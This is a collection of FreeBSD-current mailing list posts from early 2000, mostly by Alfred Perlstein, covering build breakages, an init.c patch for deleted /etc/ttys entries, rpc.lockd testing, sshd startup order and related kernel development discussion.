broken here for the last 12 hours or so: cc -pipe -O2 -DMONOLITH -DNO_IDEA -I/home/src/secure/usr.bin/openssl -DRSAref -I/usr/obj/home/src/i386/usr/include -c /home/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/speed.c cc -pipe -O2 -DMONOLITH -DNO_IDEA -I/home/src/secure/usr.bin/openssl -DRSAref -I/usr/obj/home/src/i386/usr/include -c /home/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/verify.c cc -pipe -O2 -DMONOLITH -DNO_IDEA -I/home/src/secure/usr.bin/openssl -DRSAref -I/usr/obj/home/src/i386/usr/include -c /home/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/version.c cc -pipe -O2 -DMONOLITH -DNO_IDEA -I/home/src/secure/usr.bin/openssl -DRSAref -I/usr/obj/home/src/i386/usr/include -c /home/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/x509.c cc -pipe -O2 -DMONOLITH -DNO_IDEA -I/home/src/secure/usr.bin/openssl -DRSAref -I/usr/obj/home/src/i386/usr/include -o openssl apps.o asn1pars.o ca.o ciphers.o crl.o crl2p7.o dgst.o dh.o dsa.o dsaparam.o enc.o errstr.o gendh.o gendsa.o genrsa.o nseq.o openssl.o pkcs12.o pkcs7.o pkcs8.o req.o rsa.o s_cb.o s_client.o s_server.o s_socket.o s_time.o sess_id.o speed.o verify.o version.o x509.o -lssl -lcrypto -L/usr/local/lib -lrsaref speed.o: In function `speed_main': speed.o(.text+0x66a): undefined reference to `RSA_PKCS1_RSAref' /usr/local/lib/libcrypto.so: undefined reference to `ERR_load_RSAREF_strings' *** Error code 1 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error ? do i need to rebuild a port, and why? thanks, -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Why not a default number of pings?
* Leif Neland <[EMAIL PROTECTED]> [000117 16:16] wrote: > I've been hit by a "forgotten ping" again. > > I still do not see a reason for not having a default number of pings, instead of >infinite. > The only reason I've seen is "It's always been so". > > Even if a default of 4 pings is not acceptable, because windows does it that way, >why not a large default then? > > If somebody _really_ want to ping forever, let them use -t0, and defend the rest of >us from our blunders of forgetting a ping, keeping the line open infinitely. > > How about a MAX_PING=3600 in make.conf or so? > > I've supplied patches earlier, but they've been rejected. Please provide a reference to the PR you submitted and I'll have a look. I don't think this modification will go in unless it's based on the 'MAX_PING=3600' idea with a default for infinity. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
er... missing the point?
I don't think a code/feature freeze is supposed to be implemented by breaking world so others can't test things. cc -pipe -O2 -DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" -I/home/src/gnu/usr.bin/texinfo/makeinfo/../../../../contrib/texinfo -I/home/src/gnu/usr.bin/texinfo/makeinfo/../../../../contrib/texinfo/lib -I/usr/obj/home/src/i386/usr/include -c /home/src/gnu/usr.bin/texinfo/makeinfo/../../../../contrib/texinfo/makeinfo/toc.c cc -pipe -O2 -DHAVE_CONFIG_H -DLOCALEDIR=\"/usr/share/locale\" -I/home/src/gnu/usr.bin/texinfo/makeinfo/../../../../contrib/texinfo -I/home/src/gnu/usr.bin/texinfo/makeinfo/../../../../contrib/texinfo/lib -I/usr/obj/home/src/i386/usr/include -o makeinfo cmds.o defun.o files.o footnote.o html.o index.o insertion.o lang.o macro.o makeinfo.o multi.o node.o sectioning.o toc.o /usr/obj/home/src/i386/home/src/gnu/usr.bin/texinfo/makeinfo/../libtxi/libtxi.a /usr/obj/home/src/i386/usr/libexec/elf/ld: cannot open crt1.o: No such file or directory *** Error code 1 1 error :P thanks, -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
half-fix for stream.c
you can find it at: http://www.freebsd.org/~alfred/tcp_fix.diff -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: half-fix for stream.c
* Jim Bloom <[EMAIL PROTECTED]> [000120 18:02] wrote:
> In you fix below, shouldn't the second block of NTOHx actually be HTONx. I
> realize that this works because the functions are the same, but it should be
> coded correctly.
>
> Jim Bloom
> [EMAIL PROTECTED]
>
> + NTOHL(th->th_seq);
> + NTOHL(th->th_ack);
> + NTOHS(th->th_win);
> + NTOHS(th->th_urp);
> + th->th_sum = in_cksum(m, len);
> + if (th->th_sum) {
> + tcpstat.tcps_rcvbadsum++;
> + goto drop;
> + }
> + NTOHL(th->th_seq);
> + NTOHL(th->th_ack);
> + NTOHS(th->th_win);
> + NTOHS(th->th_urp);
hmm, that's prolly right, i've been on irc trying to discuss this with
people and bit harried.
I'm sure there's a better way to do this, but the idea is to move
the checksum until after the pcb lookup, but i still have to look
at this more.
-Alfred
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: sys/net/bridge.c IPFIREWALL & DUMMYNET? WTF?
* Matthew N. Dodd <[EMAIL PROTECTED]> [000124 18:11] wrote: > Any reason that the IPFIREWALL and DUMMYNET code is present in > sys/net/bridge.c? It appears that it makes a number of bad assumptions > and in general violates the semantics of 'bridging' vs. 'routing'. > > Should we even encourage people to use this functionality? Do we really > want bridge.c to have its own private IP stack? > > Should this code be diked out before 4.0 so we don't expose the masses to > it? I'm not sure what your proposing, if it's removing BRIDGE support from the kernel, I'd have to object. BRIDGE enables me to run a transparent firewall without worrying about routing issues, just drop a machine with BRIDGE and IPFIREWALL in between two points and everything is ok. However enable a DIVERT socket, and it all goes to hell last i checked. Anyhow, can you clarify? -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Dell 2400 and APIC problem
* Conrad Juleff <[EMAIL PROTECTED]> [000201 04:13] wrote: > After much messing around I have found the point on current where it hangs. It > seems to hang during the PnP probe: > > isa_probe_children: probing PnP devices > > Is there anyway I can stop this probing of PnP devices? I have tried adding > "optons PNPBIOS" to the kernel but it causes the kernel to panic. If I drop > into the debugger and type panic, the kernel seems to be stuck in mp_lock. I > also cant seem to get the kernel to save core. The bios doesnt have an option > to disable PnP. > > Any ideas on what else I can do? > > Hmm, it seems a lot of the devices in GENERIC have flags to disable PnP probes (see LINT), maybe you can try a custom kernel to install, or try using the kernel config to set the appropriate flags on each device to disable pnp probing. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: UPDATING
* I am not any sort of Fluffy <[EMAIL PROTECTED]> [000201 04:44]
wrote:
> On Tue, 1 Feb 19100, Sheldon Hearn wrote:
>
> > > 2129:
> > > {set,get}flags have been added to the tree for rather dubious
> > > reasons. An unintended side effect of this is that you must
> > > rebuild install before the rest of the world.
> >
> > I'm surprised that this hasn't been resolved yet, but you're right;
> > the installworld target is still broken.
>
> Kewl, then ignore the report I was about to make about b0rken installworld.
>
> Just one problem, when I follow the instructions, in usr.bin/xinstall,
> make depend all install clean ...
> Then make installworld with my configuration dies in
> install -c -o root -g wheel -m 444 install.1.gz /usr/share/man/man1
> install: install.1.gz: No such file or directory
>
>
> (Of course I can work around that, and if there's been discussion
> of this already, I haven't looked back far enough just yet)
um, why are you cleaning?
Obviously the install is failing when you wipe out the binaries it
wants to install.
-Alfred
>
>
> thanks,
> barry bouwsma, tele danmork internet
> (use reply-to header if needed, from is b0rked)
If the offensive 'from' is broken, then why use it at all?
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: Some current kernel wizdom.
* David Gilbert <[EMAIL PROTECTED]> [000201 17:41] wrote: > I'm looking at producing a netgraph node that is going to be > potentially very hard on kernel memory. The node may have to manage > as many as 10K netgraph hook connections (each one requires a small > amount of memory) and access to the hooks requires that they be in a > table (not a linked list). > > This means that I'm forced to make either a rather large static > allocation or making reallocations as required. I'd like to poll the > collected wizdom of various strategies. > > In this case, the actual usage is hard to predetermine and can range > from small (a few entries) to very large (a few thousand entries). > > Is it bad, in the kernel context, to allocate a moderate amount and > then increase one's allocation a la realloc(3)? Why not use a linked list, with a hash header to reduce search times. I don't think there is a realloc for the kernel btw. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: /usr/ports/ too big?
* Kai Voigt <[EMAIL PROTECTED]> [000209 13:26] wrote: > Hello, > > I'm just doing a cvsup update of my system and -as many times before- I > realize that /usr/ports/ takes a lot of time and also disk space to sync. > > # du -sk /usr/ports > 71118 /usr/ports > > Am I the only one being little annoyed by this fact? Would it make > any sense to offer some "castrated" ports repository. Like putting > a target "overview" into each /usr/ports/*/Makefile to list all available > subdiretories. Then, with some other command, one could fetch the > current port's directory from the cvs server to install the port. > > Do these thoughts make any sense? Yes, this has been desired for some time, but without an actual implementation we're kinda stuck. :) -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: rpc.lockd
* David E. Cross <[EMAIL PROTECTED]> [000211 16:50] wrote: > I realize that we are all very busy and the coming 4.0-RELEASE has also > compounded things, but I have heard nothing back on the rpc.lockd that > was released just a short time ago. I take it no news is good news and > we can start the process of bringing it into the source tree? :) I'm suprised no one has gotten back to you on this, since it seems to need no kernel changes and the fact that the existing lockd just doesn't really do anything... But then again we are 'frozen'. (hello Jordan :) ) I think that having "we now serve locks" in 4.0-release as a real step forward. I would like to see it go in before the release is cut. Can anyone comment? More importantly can any of the people that have been _begging_ for this please take a moment and test or at least give David the courtisy of a responce? You guys do want this right? You guys don't want to have to run -current for another year just to have lockd right? (the reason I cc'd -stable) *hello? is this thing on?* thanks, -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: rpc.lockd
* David E. Cross <[EMAIL PROTECTED]> [000212 00:35] wrote:
> > Well, I'd first be very interested to know if anyone has even seen
> > this work. :)
> >
> > I have seen regrettably little feedback about it so far.
> >
> > - Jordan
> I can understand part of the reason for this... 4.0-RELEASE is right
> arround the corner, and people are focusing on delivering a stable product,
> not introducing alpha code into the system at the last second. the current
> rpc.lockd is a known value, placing a "maybe" version into the stream at
> this point would do no one any good.
Unfortunatly it doesn't even ack NLM4 locks.
> > > I'm suprised no one has gotten back to you on this, since it seems to
> > > need no kernel changes and the fact that the existing lockd just
> > > doesn't really do anything...
> > >
> > > But then again we are 'frozen'. (hello Jordan :) )
> > >
> > > I think that having "we now serve locks" in 4.0-release as a real
> > > step forward. I would like to see it go in before the release is
> > > cut.
> Again, I feel that this isn't woth it at this point... it should be something
> we strive for in 4.1-RELEASE.
>
> > >
> > > Can anyone comment?
> > >
> > > More importantly can any of the people that have been _begging_
> > > for this please take a moment and test or at least give David the
> > > courtisy of a responce?
> > >
> > > You guys do want this right?
> > >
> > > You guys don't want to have to run -current for another year just to
> > > have lockd right? (the reason I cc'd -stable)
> > >
> > > *hello? is this thing on?*
>
> Mmmm feedback would be very good. Also, what are the chanches of
> getting the 3 required functions MFC-ed? fh{open|stat|statfs} ?
Not very likely, they require a split of VFS functionality, that
although somewhat trivial, it would break third party filesystem
KLDs and the work would touch every single filesystem. You can
avoid it by hacking at the netexport stuff, but it gets kinda ugly
afaik.
It is a shame that no one who's begged for locks has come forward,
I have no good test env for stressing the code, and I'd be nice to
get some preliminary feedback on its stability.
--
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: any change in fs block allocation between current and stable ?
http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/ufs/ffs/ffs_alloc.c you may want to investigate revision 1.62. * Luigi Rizzo <[EMAIL PROTECTED]> [000212 03:19] wrote: > Hi, > I have a question related to ufs block allocation. > This problem arises when building picobsd floppy on /dev/fd0 > (ufs with 512/4096 fragments/blocks). > > With 3.4, i can easily fill up a disk to 100% occupation. > > With -current (2127), i often fail to write a file (say 53KB) > on disk even though there _is_ room (say 55KB), and if i split the file > in multiple parts i can write on that disk even more bytes > than the original file size. > > It looks like there is some change related to the use of file > system fragments, the feeling i have is that there is > something like > > "if you need to write a full block, don't look for > fragments but for a full block'. > > Does the above sound reasonable, and if so, would it be difficult > to change the behaviour to make use of fragments if there is > no better option ? > > cheers > luigi > ---+- > Luigi RIZZO, [EMAIL PROTECTED] . Dip. di Ing. dell'Informazione > http://www.iet.unipi.it/~luigi/ . Universita` di Pisa > TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) > Mobile +39-347-0373137 > ---+- > > > To Unsubscribe: send mail to [EMAIL PROTECTED] > with "unsubscribe freebsd-current" in the body of the message -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: yes, current is broke...
* Dan Langille <[EMAIL PROTECTED]> [000224 13:45] wrote: > I'm guessing this is related to jkh's mention of OpenSSH coming into > the tree, but I'm posting it anyway. Just in case it helps. my cvsup is > less then 4 hours old. > > ===> libssl > rm -f .depend > mkdep -f .depend -a-DTERMIOS -DANSI_SOURCE -DNO_IDEA - > I/usr/src/secure/lib/libssl/../../../crypto/openssl/crypto - > I/usr/obj/usr/src/secure/lib/libssl -DL_ENDIAN - > DDEVRANDOM=\"/dev/urandom\" -I/usr/obj/usr/src/i386/usr/include Yes, Mark is currently ripping into libcryto and friends pretty roughly, this is sorta expected. :) -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Is openssl/openssh working right yet for others?
* Ray Kohler <[EMAIL PROTECTED]> [000225 16:47] wrote: > I know that openssl and openssh were under heavy construction > (yesterday?), but since the commits have stopped (for now), I was > wondering is anyone else is able to build it. Going to > /usr/src/secure and running make produces a problem due to a missing > buildinf.h, which should be automatically generated (in > crypto/openssl/crypto), and doing make -k produces loads of syntax > errors and such. Since I hadn't seen any complaints about this here > (not even from random people who don't know what's going on), I just > wondered whether it was just my problem, or if it's not compilable > yet. Will produce make (-k) output on request. It compiles ok during buildworld, but doing it seperately bombs out as discussed in previous mail. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: openssh: fatal: rsa_private_decrypt() failed
> On Fri, 25 Feb 2000, Chris Timmons wrote: > > > I find that if I start /usr/sbin/sshd manually everything works as > > expected. When I allow it to start via the rc scripts, I get upon > > connecting from my 1.2.27 ssh client > > > > sshd[190]: fatal: rsa_private_decrypt() failed Chris answered himself with: * Chris Timmons <[EMAIL PROTECTED]> [000225 15:02] wrote: > > It looks as though sshd is started prematurely (before ldconfig runs) in > /etc/rc. I made the problem disappear on my system by starting sshd > around the time inetd is started. I get the same problem and was going to just move sshd to "network_pass4" but then considered that maybe is _should_ work in network_pass3 and the solution is to fix something in the way sshd is compiled. Can anyone working on the recent sshd black magic linkage stuff please step up and explain? Or shall i move it to network_pass4? thanks, -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: openssh: fatal: rsa_private_decrypt() failed
* Kris Kennaway <[EMAIL PROTECTED]> [000225 22:06] wrote: > On Fri, 25 Feb 2000, Alfred Perlstein wrote: > > > Can anyone working on the recent sshd black magic linkage stuff please > > step up and explain? > > > > Or shall i move it to network_pass4? > > Please just let mark fix it..don't want the too many cooks problem :-) Ok, I just wanted to make sure people realized it was happening to more than one person. :) -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: freezing
* Joao Pedras <[EMAIL PROTECTED]> [000216 17:50] wrote: > Hello all > > While making -j 4 buildworld and moving a netscape window, everything frozen. > Happens often if do other things while cpu and disk are very active. > > Happens quite often. > > Anyone else has noticed this ? Do you mean dead frozen, as in needs a reboot? or frozen for a second or so? The first one I haven't seen recently, the second I have noticed. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
"Fixing" init.
I remeber being a newbie and getting burned by the need to explicitly
turn a line 'off' in my /etc/ttys file instead of simply deleting it.
This fixes it using a trivial mark then collect sweep.
Can a couple people take a look? I'd like to get it into 4.0 because
it seems to follow POLA better.
"hey i deleted and HUP'd but init keeps spawing them!"
thanks,
-Alfred
Index: init.c
===
RCS file: /home/ncvs/src/sbin/init/init.c,v
retrieving revision 1.37
diff -u -u -r1.37 init.c
--- init.c 1999/11/22 04:23:09 1.37
+++ init.c 2000/02/19 13:53:52
@@ -156,6 +156,7 @@
char*se_window_argv_space; /* pre-parsed argument array space */
char**se_window_argv; /* pre-parsed argument array */
char*se_type; /* default terminal type */
+ int se_collect; /* flag for garbage collection */
struct init_session *se_prev;
struct init_session *se_next;
} session_t;
@@ -1330,7 +1331,7 @@
}
/*
- * This is an n-squared algorithm. We hope it isn't run often...
+ * This is an (n*2)+(n^2) algorithm. We hope it isn't run often...
*/
state_func_t
clean_ttys()
@@ -1344,6 +1345,14 @@
if (! sessions)
return (state_func_t) multi_user;
+ /*
+* mark all sessions for death,
+* as we find or create new ones they'll be marked as keepers,
+* nuke all the ones not found in /etc/ttys
+*/
+ for (sp = sessions; sp != NULL; sp = sp->se_next)
+ sp->se_collect = 1;
+
devlen = sizeof(_PATH_DEV) - 1;
while ((typ = getttyent()) != NULL) {
++session_index;
@@ -1353,6 +1362,8 @@
break;
if (sp) {
+ /* we want this one to live */
+ sp->se_collect = 0;
if (sp->se_index != session_index) {
warning("port %s changed utmp index from %d to %d",
sp->se_device, sp->se_index,
@@ -1402,6 +1413,18 @@
}
endttyent();
+
+ /*
+* sweep through and kill all deleted sessions
+* (ones who's /etc/ttys line was deleted)
+*/
+ for (sp = sessions; sp != NULL; sp = sp->se_next) {
+ /* if the gc flag hasn't been cleared, nuke it. */
+ if (sp->se_collect == 1) {
+ sp->se_flags |= SE_SHUTDOWN;
+ kill(sp->se_process, SIGHUP);
+ }
+ }
return (state_func_t) multi_user;
}
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: "Fixing" init.
* Alfred Perlstein <[EMAIL PROTECTED]> [000219 02:22] wrote:
> I remeber being a newbie and getting burned by the need to explicitly
> turn a line 'off' in my /etc/ttys file instead of simply deleting it.
>
> This fixes it using a trivial mark then collect sweep.
>
> Can a couple people take a look? I'd like to get it into 4.0 because
> it seems to follow POLA better.
>
> "hey i deleted and HUP'd but init keeps spawing them!"
ok, NetBSD has had this fixed for _several years_, and they use bitmasks
in the se_flags field, here's an updated patch that's essentially the
same as the old one but using NetBSD's se_flags implementation.
4.0 please? :)
thanks,
-Alfred
Index: init.c
===
RCS file: /home/ncvs/src/sbin/init/init.c,v
retrieving revision 1.37
diff -u -r1.37 init.c
--- init.c 1999/11/22 04:23:09 1.37
+++ init.c 2000/02/19 23:26:32
@@ -147,6 +147,7 @@
time_t se_started; /* used to avoid thrashing */
int se_flags; /* status of session */
#defineSE_SHUTDOWN 0x1 /* session won't be restarted */
+#defineSE_PRESENT 0x2 /* session is in /etc/ttys */
int se_nspace; /* spacing count */
char*se_device; /* filename of port */
char*se_getty; /* what to run on that port */
@@ -964,6 +965,7 @@
/*
* Allocate a new session descriptor.
+ * Mark it SE_PRESENT.
*/
session_t *
new_session(sprev, session_index, typ)
@@ -982,6 +984,7 @@
sp = (session_t *) calloc(1, sizeof (session_t));
sp->se_index = session_index;
+ sp->se_flags |= SE_PRESENT;
sp->se_device = malloc(sizeof(_PATH_DEV) + strlen(typ->ty_name));
(void) sprintf(sp->se_device, "%s%s", _PATH_DEV, typ->ty_name);
@@ -1330,7 +1333,7 @@
}
/*
- * This is an n-squared algorithm. We hope it isn't run often...
+ * This is an (n*2)+(n^2) algorithm. We hope it isn't run often...
*/
state_func_t
clean_ttys()
@@ -1344,6 +1347,14 @@
if (! sessions)
return (state_func_t) multi_user;
+ /*
+* mark all sessions for death, (!SE_PRESENT)
+* as we find or create new ones they'll be marked as keepers,
+* we'll later nuke all the ones not found in /etc/ttys
+*/
+ for (sp = sessions; sp != NULL; sp = sp->se_next)
+ sp->se_flags &= ~SE_PRESENT;
+
devlen = sizeof(_PATH_DEV) - 1;
while ((typ = getttyent()) != NULL) {
++session_index;
@@ -1353,6 +1364,8 @@
break;
if (sp) {
+ /* we want this one to live */
+ sp->se_flags |= SE_PRESENT;
if (sp->se_index != session_index) {
warning("port %s changed utmp index from %d to %d",
sp->se_device, sp->se_index,
@@ -1402,6 +1415,17 @@
}
endttyent();
+
+ /*
+* sweep through and kill all deleted sessions
+* ones who's /etc/ttys line was deleted (SE_PRESENT unset)
+*/
+ for (sp = sessions; sp != NULL; sp = sp->se_next) {
+ if ((sp->se_flags & SE_PRESENT) == 0) {
+ sp->se_flags |= SE_SHUTDOWN;
+ kill(sp->se_process, SIGHUP);
+ }
+ }
return (state_func_t) multi_user;
}
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: freezing
* Joao Pedras <[EMAIL PROTECTED]> [000216 18:07] wrote: > eheh > > I mean dead frozen, like if I was watching at a screeshot of a X session ]:) > > Alfred Perlstein wrote: > > > > Do you mean dead frozen, as in needs a reboot? or frozen for a second or > > so? > > > > The first one I haven't seen recently, the second I have noticed. > > > > -Alfred oy! well i guess you need to grab a serial console and see if you can get a crashdump/traceback. let us know if you find out, also check your machine's cooling devices to make sure they are functioning normally. good luck, -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Crypto progress! (And a Biiiig TODO list)
* Garrett Wollman <[EMAIL PROTECTED]> [000217 17:55] wrote: > < said: > > > o I want to completely dekerberise userland, and only have kerberos > > via PAMs. A ton of work, and I have just started with this. > > Huh? PAM is Pluggable Authentication Modules, not Pluggable Protocol > Modules It's unlikely that `rlogin' (for example) could be made > to work this way. (Of course, Kerberized `rlogin' is currently broken > already, and has been for months, so perhaps I'm the only person left > who cares.) > > > o A daemon that userland can query for password checking; this is to > > get around the current requirement that things that need master.passwd > > access need to be suid root. It works, but needs tidying up, review > > and a PAM to query it. Not far to go! > > I'm very uncomfortable with requiring Yet Another Daemon to manage > (and screw up) password checking. Generally speaking, if I wouldn't > trust a program with root privileges, I wouldn't trust it with my > password, either (for obvious reasons). Yes, but the benifits of a correct implementation are quite awesome, a centralized logging place to dole out authentication and potentially administratively shutdown/lockout accounts if a brute force attempt (or other abuse) is detected. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Heads up, vm.max_proc_mmap sysctl added
* Matthew Dillon <[EMAIL PROTECTED]> [000216 16:05] wrote: > > It is possible to fix the problem. We can add a new mmap() flag which > we call MAP_GUARDED which would basically be an anonymous mmap() which > implements a special case in vm_fault. This pager is designed to always > return a failure for the first and last page. The size of the mmap() > determines where the guard pages are and would be stored as part of > the vm_map_entry (only for the MAP_GUARDED case). > > Adjacent vm_map_entry structures with the same guard size would be > coalesced. > > Thus any threaded program will still only require a single vm_map_entry > field yet still be completely flexible in regards to the guard pages. > > Is anyone interested in me doing this for the 4.0 release? It would > help both our current threads model and the linux threads model a lot. > I can do it in a day and it should be trivial to test, the modifications > are actually quite minor. I'd love to see it happen for 4.0. Toss some diffs up and we'll see if Jordan gives it an ok. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Very slow disk transfers (was: freezing)
* Greg Lehey <[EMAIL PROTECTED]> [000216 19:14] wrote: > On Wednesday, 16 February 2000 at 17:52:42 -0800, Alfred Perlstein wrote: > > * Joao Pedras <[EMAIL PROTECTED]> [000216 17:50] wrote: > >> Hello all > >> > >> While making -j 4 buildworld and moving a netscape window, everything frozen. > >> Happens often if do other things while cpu and disk are very active. > >> > >> Happens quite often. > >> > >> Anyone else has noticed this ? > > > > Do you mean dead frozen, as in needs a reboot? or frozen for a second or > > so? > > > > The first one I haven't seen recently, the second I have noticed. > > I'm seeing the second situation. I've been following it up and find > that I have a number of requests which take an inordinate amount of > time in the driver strategy routine: > > Feb 17 12:50:00 freebie /kernel: Request took 10.373469 seconds, dev 3.31, block >5468256, length 16384 > > The time here is between entering adstrategy (in this case) and > biodone. It happens on SCSI drives too, so it doesn't appear to be a > problem with a specific driver. If anybody has a suggestion what I > should look for next, I'd be grateful. Could you put up a patchset against -current up someplace that includes these diagnostics? I'd like to see if that's what's nailing me. thanks, -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: 4.0 hangs (fwd)
* Andrew Maltsev <[EMAIL PROTECTED]> [000216 22:00] wrote: > Hi, guys! > > Any comments? I had to downgrade back to 3.4 yesterday.. which works > absolutely without problems. If you're going to say ``it's hardware > problem'' -- this was my first thought too. I tried to change memory and > it did not help. Ideas? If you have a serial console available (all you need is a second computer with a terminal program and a null modem adapter) then you can boot the system with a serial console and see what the panic message is. You could also enable crashdumps and provide a traceback, see: http://www.freebsd.org/handbook/kerneldebug.html -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: FWIW: More questionable softupdates+vinum benchmarks
* Brad Knowles <[EMAIL PROTECTED]> [000217 12:45] wrote:
> At 10:35 AM -0800 2000/2/17, Parag Patel wrote:
>
> > Hello. I have a friend's quad PPro box temporarily sitting in my garage
> > that I've been using to play with 4.0-CURRENT and vinum. Since the last
> > series of bug-fixes a few weeks ago, everything works as advertised.
>
> While we're on this subject, I recently did some benchmarking
> with just a single disk on a machine running 3.4-STABLE, both with
> and without softupdates. I haven't yet gotten a chance to test it
> with vinum and softupdates, but what I got did a pretty good job of
> impressing me.
>
> I won't quote the mail messages here (you can go read
> freebsd-stable for that, look for message-ids
> and
> ), but suffice it to say that
> for my testing, I saw 3-5x performance increase for the benchmark I
> was running ("postmark", from Network Appliance).
>
>
> The primary reason I was doing this was to get some sort of idea
> what kind of performance you might be able to expect if you took an
> application like a mail server or a USENET news server (with
> traditional spool), and you re-wrote the application so as to avoid
> expensive synchronous meta-data operations (which are the things that
> softupdates tries to optimize out of existance).
>
> I'm starting to actually believe that you might really be able to
> see a real-world 5-10x performance increase, if you did that. In
> fact, I believe that this is pretty much what admins of boxes running
> INN are seeing when they use CNFS. Jeez, Louise.
Depending on how temporary your temporary files are, it'd be
interesting to see if the 4.0 optimizations benifit your benchmark
and also remain stable.
Would it be possible for you to grab a 4.0RC and let us know?
thanks,
-Alfred
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: Crypto progress! (And a Biiiig TODO list)
* Mark Murray <[EMAIL PROTECTED]> [000218 13:27] wrote: > > < said: > > > > > Why is this being discussed as if it is new? > > > > > This is what my tool _does_, for crying out loud!! > > > > Which so far nobody else has ever seen. > > Nor asked to see. > > Poul-Henning Kamp's "bike shed" argument applies here _big_time_. (not to Mark, but to people slamming him) Jeez people, don't assume someone is reinventing the wheel until you actually see the wheel, it could be something else entirely. Constructive critism is fine, but take a second to settle down. :) It's not like Mark is going to slam this into the tree without putting it up for some serious review. (right Mark? :) ) -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Crashing netscape?
* Alex Le Heux <[EMAIL PROTECTED]> [000221 11:25] wrote: > Hi, > > Am I the only one who's experiencing an amzing amount of crashes on > Netscape? > > It's been going on for quite some time now (months), upgrading Netscape or > switching from the Linux to the FreeBSD to the BSDI version doesn't help. > The most stable version seems to be the Linux version, but that even > crashes 5-10 times per day. It will *always* crash when a page uses java, > but I've not been able to find a non-java page that will always crash it. > > Is it just me? All the people I know who run various versions of FreeBSD > say it's not so bad. I'm pretty much forced to turn off javascript and java otherwise I have the same problem. Hopefully mozilla will become a viable replacement soon. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Upgrade from 3.4 to 4.0...
* William Woods <[EMAIL PROTECTED]> [000222 21:19] wrote: > Hey, > > I have been following the disscussions here for a while, just trying to get a > feel of what the transition from 3.4-stable 4.0-release will be like. I am > running -current on my alpha, but that was a fresh install. I am debating > trying -current on my laptop, but before we go there, I would like to inquire > as to what shape the transition is in. Are there steps posted somewhere that > work? > > Also, what condition (I know, I am asking you to read the future) do you expect > the transition to be like at the end of the month when 4.0 -release comes out. > > Lastly, if I were to be so brave as to go from 3.4 to 4.0 -current now, where > would I find the nessary instructions? Please see src/UPDATING thanks, -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Upgrade from 3.4 to 4.0...
